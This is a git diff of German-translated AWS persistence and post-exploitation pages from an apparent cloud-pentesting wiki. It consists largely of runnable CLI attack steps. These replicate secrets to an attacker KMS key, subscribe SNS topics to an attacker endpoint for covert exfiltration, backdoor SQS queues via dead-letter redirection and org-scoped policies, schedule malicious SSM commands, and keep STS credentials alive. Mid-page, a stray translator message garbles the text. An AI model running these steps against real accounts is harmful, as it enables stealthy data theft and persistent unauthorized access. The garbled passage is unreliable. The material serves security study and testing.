+- In der Replica-Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (oder `kms:PutKeyPolicy`) um dem Angreifer-Principal `kms:Decrypt` zu erlauben.
+- Ein Angreifer-Principal (user/role), der Lesezugriff auf das promotete Secret erhält.
+
+- Auswirkungen
+- Persistenter regionsübergreifender Zugriffspfad auf den Secret-Wert über eine eigenständige Replik, die unter einer vom Angreifer kontrollierten KMS CMK steht und eine permissive resource policy verwendet. Das primäre Secret in der ursprünglichen Region bleibt unberührt.
+
+- Angriff (CLI)
+- Variablen
+```bash
+export R1=<primary-region>   # e.g., us-east-1
+export R2=<replica-region>   # e.g., us-west-2
+export SECRET_ID=<secret name or ARN in R1>
+export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
+```
+1) Erstelle einen vom Angreifer kontrollierten KMS-Schlüssel in der Replikations-Region
+```bash
+cat > /tmp/kms_policy.json <<'JSON'
+{"Version":"2012-10-17","Statement":[
+{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
+]}
+JSON
+KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
+--query KeyMetadata.KeyId --output text)
+aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
+# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
+aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
+```
+2) Repliziere das secret nach R2 mithilfe des attacker KMS key
+```bash
+aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
+--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
+aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
+```
+3) Die Replik in R2 zu einer eigenständigen Instanz machen
+```bash
+# Use the secret name (same across Regions)
+NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
+aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
+aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
+```
+4) Hänge eine permissive resource policy an das standalone secret in R2 an.
+```bash
+cat > /tmp/replica_policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
+JSON
+aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
+aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
+```
+5) Lese das secret vom attacker principal in R2
+```bash
+# Configure attacker credentials and read
+aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
+```
+

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

@@ -1,77 +0,0 @@
-# AWS - SNS Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Persistenz
-
-Beim Erstellen eines **SNS-Themas** müssen Sie mit einer IAM-Richtlinie angeben, **wer Zugriff auf Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\
-Die folgende Richtlinie gewährt allen in AWS Zugriff auf Lesen und Schreiben im SNS-Thema mit dem Namen **`MySNS.fifo`**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__default_statement_ID",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"SNS:Publish",
-"SNS:RemovePermission",
-"SNS:SetTopicAttributes",
-"SNS:DeleteTopic",
-"SNS:ListSubscriptionsByTopic",
-"SNS:GetTopicAttributes",
-"SNS:AddPermission",
-"SNS:Subscribe"
-],
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-"Condition": {
-"StringEquals": {
-"AWS:SourceOwner": "318142138553"
-}
-}
-},
-{
-"Sid": "__console_pub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Publish",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-},
-{
-"Sid": "__console_sub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Subscribe",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-}
-]
-}
-```
-### Erstellen von Abonnenten
-
-Um alle Nachrichten aus allen Themen weiter zu exfiltrieren, könnte der Angreifer **Abonnenten für alle Themen erstellen**.
-
-Beachten Sie, dass, wenn das **Thema vom Typ FIFO** ist, nur Abonnenten, die das Protokoll **SQS** verwenden, genutzt werden können.
-```bash
-aws sns subscribe --region <region> \
---protocol http \
---notification-endpoint http://<attacker>/ \
---topic-arn <arn>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md

@@ -0,0 +1,113 @@
+# AWS - SNS Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Persistenz
+
+Beim Erstellen eines **SNS topic** müssen Sie in einer IAM policy **angeben, wer Lese- und Schreibzugriff hat**. Es ist möglich, externe Accounts, ARN von Rollen oder **sogar "\*"** anzugeben.\
+Die folgende Policy gewährt jedem in AWS Zugriff zum Lesen und Schreiben im SNS topic namens **`MySNS.fifo`**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
+}
+```
+### Subscriber erstellen
+
+Um weiterhin alle Nachrichten aus allen Topics zu exfiltrating, könnte attacker **Subscriber für alle Topics erstellen**.
+
+Beachte, dass wenn das **topic vom Typ FIFO ist**, nur Subscriber, die das Protokoll **SQS** verwenden, genutzt werden können.
+```bash
+aws sns subscribe --region <region> \
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
+```
+### Verdeckte, selektive exfiltration über FilterPolicy auf MessageBody
+
+Ein attacker mit `sns:Subscribe` und `sns:SetSubscriptionAttributes` auf einem Topic kann eine unauffällige SQS-Subscription erstellen, die nur Nachrichten weiterleitet, deren JSON-Body einem sehr engen Filter entspricht (zum Beispiel `{"secret":"true"}`). Das reduziert Volumen und Erkennungswahrscheinlichkeit, während weiterhin exfiltrating sensibler Datensätze möglich ist.
+
+**Mögliche Auswirkungen**: Covert, low-noise exfiltration nur gezielter SNS-Nachrichten von einem victim topic.
+
+Schritte (AWS CLI):
+- Stelle sicher, dass die attacker SQS queue policy `sqs:SendMessage` vom victim `TopicArn` erlaubt (Condition `aws:SourceArn` equals the `TopicArn`).
+- Erstelle eine SQS-Subscription für das Topic:
+
+```bash
+aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
+```
+
+- Setze den Filter so, dass er auf den MessageBody wirkt und nur `secret=true` übereinstimmt:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
+```
+
+- Optional stealth: aktiviere RawMessageDelivery, sodass nur die rohe Nutzlast beim Empfänger landet:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
+```
+
+- Validierung: Veröffentliche zwei Nachrichten und bestätige, dass nur die erste in der attacker queue ankommt. Beispiel-Payloads:
+
+```json
+{"secret":"true","data":"exfil"}
+{"secret":"false","data":"benign"}
+```
+
+- Cleanup: unsubscribe und delete die attacker SQS queue, falls sie für persistence testing erstellt wurde.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md

@@ -1,37 +0,0 @@
-# AWS - SQS Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Verwendung von Ressourcenrichtlinien
-
-In SQS müssen Sie mit einer IAM-Richtlinie **angeben, wer Zugriff auf das Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\
-Die folgende Richtlinie gewährt allen in AWS Zugriff auf alles in der Warteschlange mit dem Namen **MyTestQueue**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__owner_statement",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": ["SQS:*"],
-"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-}
-]
-}
-```
-> [!NOTE]
-> Sie könnten sogar **jedes Mal eine Lambda im Konto des Angreifers auslösen, wenn eine neue Nachricht** in die Warteschlange gestellt wird (Sie müssten sie irgendwie erneut einfügen). Folgen Sie dazu diesen Anweisungen: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - SQS Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Verwendung von Resource Policy
+
+In SQS müssen Sie in einer IAM-Policy angeben, **wer Lese- und Schreibzugriff** hat. Es ist möglich, externe Konten, ARNs von Rollen oder **sogar "\*"** anzugeben.\
+Die folgende Policy gibt jedem in AWS Zugriff auf alles in der Queue namens **MyTestQueue**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> Du könntest sogar **bei jeder neuen Nachricht, die in die Warteschlange gestellt wird, eine Lambda im attacker-Konto auslösen** (du müsstest sie erneut einfügen). Befolge dafür diese Anweisungen: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+
+### Weitere SQS Persistence Techniques
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md

@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche SQS Dead-Letter Queues (DLQs), um heimlich Daten aus einer Opfer-Quell-Queue abzuzapfen, indem du ihre RedrivePolicy auf eine vom Angreifer kontrollierte Queue verweist. Mit einem niedrigen maxReceiveCount und durch Auslösen oder Abwarten normaler Verarbeitungsfehler werden Nachrichten automatisch in die Angreifer-DLQ umgeleitet, ohne Producers oder Lambda event source mappings zu ändern.
+
+## Ausgenutzte Berechtigungen
+- sqs:SetQueueAttributes auf der betroffenen Quell-Queue (um RedrivePolicy zu setzen)
+- sqs:SetQueueAttributes auf der Angreifer-DLQ (um RedriveAllowPolicy zu setzen)
+- Optional zur Beschleunigung: sqs:ReceiveMessage auf der Quell-Queue
+- Optional für die Einrichtung: sqs:CreateQueue, sqs:SendMessage
+
+## Ablauf im gleichen Konto (allowAll)
+
+Vorbereitung (Angreiferkonto oder kompromittierte principal):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+Ausführung (als kompromittierter principal im Opferkonto ausführen):
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+Beschleunigung (optional):
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+Ich habe die Datei nicht erhalten. Bitte füge den Inhalt von src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md hier ein, dann übersetze ich den relevanten englischen Text ins Deutsche und gebe die Ausgabe mit unverändertem Markdown/HTML zurück.
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+Beispielnachweis (Attribute enthalten DeadLetterQueueSourceArn):
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Cross-Account-Variante (byQueue)
+Setzen Sie RedriveAllowPolicy auf der Angreifer-DLQ, sodass nur bestimmte Quell-Queue-ARNs des Opfers zugelassen werden:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## Impact
+- Heimliche, dauerhafte Datenexfiltration/Persistenz durch automatisches Umlenken fehlgeschlagener Nachrichten von einer Opfer-SQS-Quell-Queue in eine vom Angreifer kontrollierte DLQ, mit minimalem betrieblichen Rauschen und ohne Änderungen an den Produzenten oder Lambda-Zuordnungen.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md

@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche eine SQS queue resource policy, um stillschweigend Send, Receive und ChangeMessageVisibility an jeden Principal zu gewähren, der zu einer Ziel-AWS Organization gehört, indem du die Condition aws:PrincipalOrgID verwendest. Dies schafft einen org-scoped versteckten Pfad, der häufig Kontrollen umgeht, die nur nach expliziten account- oder role-ARNs oder star principals suchen.
+
+### Backdoor policy (an die SQS queue policy anhängen)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### Schritte
+- Beschaffe die Organization ID mit der AWS Organizations API.
+- Ermittle die SQS-Queue-ARN und setze die Queue-Policy, einschließlich des oben genannten Statement.
+- Von jedem Principal, der zu dieser Organization gehört, sende und empfange eine Nachricht in der Queue, um den Zugriff zu validieren.
+
+### Auswirkung
+- Organisationsweiter versteckter Zugriff, um SQS-Nachrichten von jedem Account in der angegebenen AWS Organization zu lesen und zu schreiben.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md

@@ -1,27 +0,0 @@
-# AWS - SSM Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
-{{#endref}}
-
-### Verwendung von ssm:CreateAssociation für Persistenz
-
-Ein Angreifer mit der Berechtigung **`ssm:CreateAssociation`** kann eine State Manager Association erstellen, um automatisch Befehle auf EC2-Instanzen auszuführen, die von SSM verwaltet werden. Diese Assoziationen können so konfiguriert werden, dass sie in festen Intervallen ausgeführt werden, was sie für eine backdoorartige Persistenz ohne interaktive Sitzungen geeignet macht.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Diese Persistenzmethode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM-Agent läuft und der Angreifer die Berechtigung hat, Assoziationen zu erstellen. Es sind keine interaktiven Sitzungen oder expliziten ssm:SendCommand-Berechtigungen erforderlich. **Wichtig:** Der Parameter `--schedule-expression` (z. B. `rate(30 minutes)`) muss das Mindestintervall von 30 Minuten von AWS einhalten. Für sofortige oder einmalige Ausführung den `--schedule-expression`-Parameter vollständig weglassen — die Assoziation wird einmal nach der Erstellung ausgeführt.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

@@ -0,0 +1,27 @@
+# AWS - SSM Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+{{#endref}}
+
+### Verwendung von ssm:CreateAssociation zur Persistenz
+
+Ein Angreifer mit der Berechtigung **`ssm:CreateAssociation`** kann eine State Manager Association erstellen, um automatisch Befehle auf von SSM verwalteten EC2-Instanzen auszuführen. Diese Associations können so konfiguriert werden, dass sie in festen Intervallen laufen, wodurch sie sich für backdoor-ähnliche Persistenz ohne interaktive Sitzungen eignen.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Diese Persistenzmethode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM agent läuft und der Angreifer die Berechtigung hat, associations zu erstellen. Sie erfordert keine interaktiven Sitzungen oder expliziten ssm:SendCommand-Berechtigungen. **Wichtig:** Der Parameter `--schedule-expression` (z. B. `rate(30 minutes)`) muss das von AWS vorgeschriebene Mindestintervall von 30 Minuten einhalten. Für sofortige oder einmalige Ausführung lassen Sie `--schedule-expression` vollständig weg — die association wird nach der Erstellung einmal ausgeführt.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md

@@ -1,21 +0,0 @@
-# AWS - Step Functions Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Backdooring von Step Functions
-
-Hinterlasse eine Hintertür in einer Step Function, um einen Persistenztrick auszuführen, sodass jedes Mal, wenn sie ausgeführt wird, deine bösartigen Schritte ausgeführt werden.
-
-### Backdooring von Aliassen
-
-Wenn das AWS-Konto Aliasse verwendet, um Step Functions aufzurufen, wäre es möglich, einen Alias zu ändern, um eine neue, mit einer Hintertür versehene Version der Step Function zu verwenden.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Backdoor a step function, damit sie beliebige persistence-Tricks ausführt; bei jeder Ausführung werden dann deine bösartigen Schritte ausgeführt.
+
+### Backdooring aliases
+
+Wenn das AWS-Konto aliases verwendet, um step functions aufzurufen, wäre es möglich, ein alias so zu ändern, dass es eine neue backdoored-Version der step function verwendet.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md

@@ -1,36 +1,36 @@
 # AWS - STS Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-Für weitere Informationen zugreifen:
+Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-sts-enum.md
+../../aws-services/aws-sts-enum.md
 {{#endref}}
 
 ### Assume role token
 
-Temporäre Tokens können nicht aufgelistet werden, daher ist das Beibehalten eines aktiven temporären Tokens eine Möglichkeit, Persistenz aufrechtzuerhalten.
+Temporäre Tokens können nicht aufgelistet werden, daher ist das Aufrechterhalten eines aktiven temporären Tokens eine Möglichkeit, Persistenz zu gewährleisten.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# Mit MFA
+# With MFA
 aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# Der Name des Hardwaregeräts ist normalerweise die Nummer auf der Rückseite des Geräts, wie GAHT12345678
-<strong># Der Name des SMS-Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:sms-mfa/username
-</strong># Der Name des virtuellen Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
 ### Role Chain Juggling
 
-[**Role chaining ist ein anerkanntes AWS-Feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), das häufig zur Aufrechterhaltung von Stealth-Persistenz genutzt wird. Es beinhaltet die Fähigkeit, **eine Rolle zu übernehmen, die dann eine andere übernimmt**, was potenziell zur ursprünglichen Rolle in einer **zyklischen Weise** zurückkehrt. Jedes Mal, wenn eine Rolle übernommen wird, wird das Ablaufdatum der Anmeldeinformationen aktualisiert. Folglich, wenn zwei Rollen so konfiguriert sind, dass sie sich gegenseitig übernehmen, ermöglicht dieses Setup die ständige Erneuerung der Anmeldeinformationen.
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), wird häufig genutzt, um unauffällige Persistenz aufrechtzuerhalten. Dabei geht es um die Fähigkeit, **eine Rolle anzunehmen, die dann eine andere Rolle annimmt**, und gegebenenfalls zur ursprünglichen Rolle in einer **zyklischen Weise** zurückzukehren. Jedes Mal, wenn eine Rolle angenommen wird, wird das Ablaufdatum der Credentials aktualisiert. Folglich ermöglicht eine Konfiguration, in der sich zwei Rollen gegenseitig annehmen, die fortwährende Erneuerung von Credentials.
 
-Sie können dieses [**Tool**](https://github.com/hotnops/AWSRoleJuggler/) verwenden, um das Rollenkettenspiel am Laufen zu halten:
+You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,11 +40,11 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> Beachten Sie, dass das [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) Skript aus diesem Github-Repository nicht alle Möglichkeiten findet, wie eine Rollenverkettung konfiguriert werden kann.
+> Beachte, dass das [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) Skript aus diesem Github-Repository nicht alle Möglichkeiten findet, wie eine Rollenkette konfiguriert werden kann.
 
 <details>
 
-<summary>Code zum Durchführen von Role Juggling aus PowerShell</summary>
+<summary>Code zur Durchführung von Role Juggling mit PowerShell</summary>
 ```bash
 # PowerShell script to check for role juggling possibilities using AWS CLI
 
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 </details>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md

@@ -1,46 +1,46 @@
 # AWS - API Gateway Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## API Gateway
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-api-gateway-enum.md
+../../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
-### Zugriff auf nicht exponierte APIs
+### Zugriff auf nicht-exponierte APIs
 
-Sie können einen Endpunkt in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) mit dem Dienst `com.amazonaws.us-east-1.execute-api` erstellen, den Endpunkt in einem Netzwerk exponieren, auf das Sie Zugriff haben (möglicherweise über eine EC2-Maschine) und eine Sicherheitsgruppe zuweisen, die alle Verbindungen erlaubt.\
-Dann können Sie von der EC2-Maschine aus auf den Endpunkt zugreifen und somit die Gateway-API aufrufen, die zuvor nicht exponiert war.
+Du kannst einen Endpoint unter [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) mit dem Service `com.amazonaws.us-east-1.execute-api` erstellen, den Endpoint in einem Netzwerk freigeben, auf das du Zugriff hast (z. B. über eine EC2-Maschine) und eine Security Group zuweisen, die alle Verbindungen erlaubt.\
+Dann kannst du von der EC2-Maschine aus auf den Endpoint zugreifen und somit die Gateway API aufrufen, die zuvor nicht exponiert war.
 
-### Umgehung des Request-Body-Passthroughs
+### Request-Body-Passthrough umgehen
 
-Diese Technik wurde in [**diesem CTF-Bericht**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) gefunden.
+This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
 
-Wie in der [**AWS-Dokumentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) im Abschnitt `PassthroughBehavior` angegeben, wird standardmäßig der Wert **`WHEN_NO_MATCH`**, beim Überprüfen des **Content-Type**-Headers der Anfrage, die Anfrage ohne Transformation an das Backend weiterleiten.
+Wie in der [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) im Abschnitt `PassthroughBehavior` angegeben, leitet der Standardwert **`WHEN_NO_MATCH`** beim Prüfen des **Content-Type**-Headers die Anfrage unverändert an das Backend weiter.
 
